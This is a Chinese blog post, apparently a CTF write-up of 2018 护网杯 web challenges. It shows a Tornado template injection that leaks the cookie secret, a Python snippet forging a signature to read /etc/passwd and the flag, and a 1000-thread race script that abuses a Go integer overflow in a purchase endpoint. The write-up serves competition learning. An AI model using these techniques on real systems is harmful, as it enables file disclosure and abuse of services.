护网杯 web题

作者: print("") 分类: 未分类 发布时间: 2018-10-13 18:31

一共是四道web题目

做了两道。太垃圾了

这里有三个文件。打开第一个

第一个reder() 这个是tor 框架的一个返回函数。

可以返回html 之类的信息。

里面有一个这种的方法

handler.settings

{‘login_url’: ‘/login’, ‘template_path’: ‘templates’, ‘xsrf_cookies’: True, ‘cookie_secret’: ‘nem?a>Q*o.U~gcXY(<Pz$uVNlF9^y-B#7ZE45kdqpT{&I%6]08b_iRjKHSW3J}1!’, ‘debug’: False, ‘file_path’: ‘/www/static/files’, ‘static_path’: ‘static’}

有了cookie_secert 了。加密一下

key = "nem?a>Q*o.U~gcXY(<Pz$uVNlF9^y-B#7ZE45kdqpT{&I%6]08b_iRjKHSW3J}1!"
filename = "/etc/passwd"
a2=hashlib.md5(filename).hexdigest()
a=hashlib.md5(key+a2).hexdigest()
print(a)

读取一下/etc/passwd

读取flag

/fllllllllllag

注册一个用户

经过测试大辣条这里有竞争

写了一个脚本(burp 也可以,只是我burp有问题)

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: liang 
import json
import requests
import time
from concurrent.futures import ThreadPoolExecutor

def echke():
    headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99',
            'Cookie': 'go_iris_cookie=8c916c0f-cdc0-4707-b86c-2e71235cad32',
    }
    data={'number':'3689348814741910324'}
    url='http://49.4.79.1:32228/buylt'
    ret=requests.post(url=url,headers=headers,data=data)
    print(ret.text)


thread = 1000
try:
    with ThreadPoolExecutor(thread) as exector:
        for i in range(1,5000000000000000000):
            response = exector.submit(echke,)
            if  response:
                pass
            else:
                print(response)
except Exception as e:
    try:
        with ThreadPoolExecutor(thread) as exector:
            for i in range(1, 5000000000000000000):
                response = exector.submit(echke, )
                if response:
                    pass
                else:
                    print(response)
    except Exception as e:
        with ThreadPoolExecutor(thread) as exector:
            for i in range(1, 5000000000000000000):
                response = exector.submit(echke, )
                if response:
                    pass
                else:
                    print(response)

测试了好多次。觉得辣椒王有竞争。但是限制在于金币的所需有限。一辈子都不可能拿到flag 这种的

判断了这个web 框架不是php 的,

想了一下。如果是python 的是话int 类型是不存在溢出的情况。

看了一下也没有返回web 服务器的类型

问了一下大佬说,go语言的程序。百度了一下go 语言的int 溢出

参考文档:http://www.it1352.com/808569.html

溢出的时间点找到了

最终测试3689348814741910324  成功

其他两道题目,可以参考一叶飘零大佬的文章:

http://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。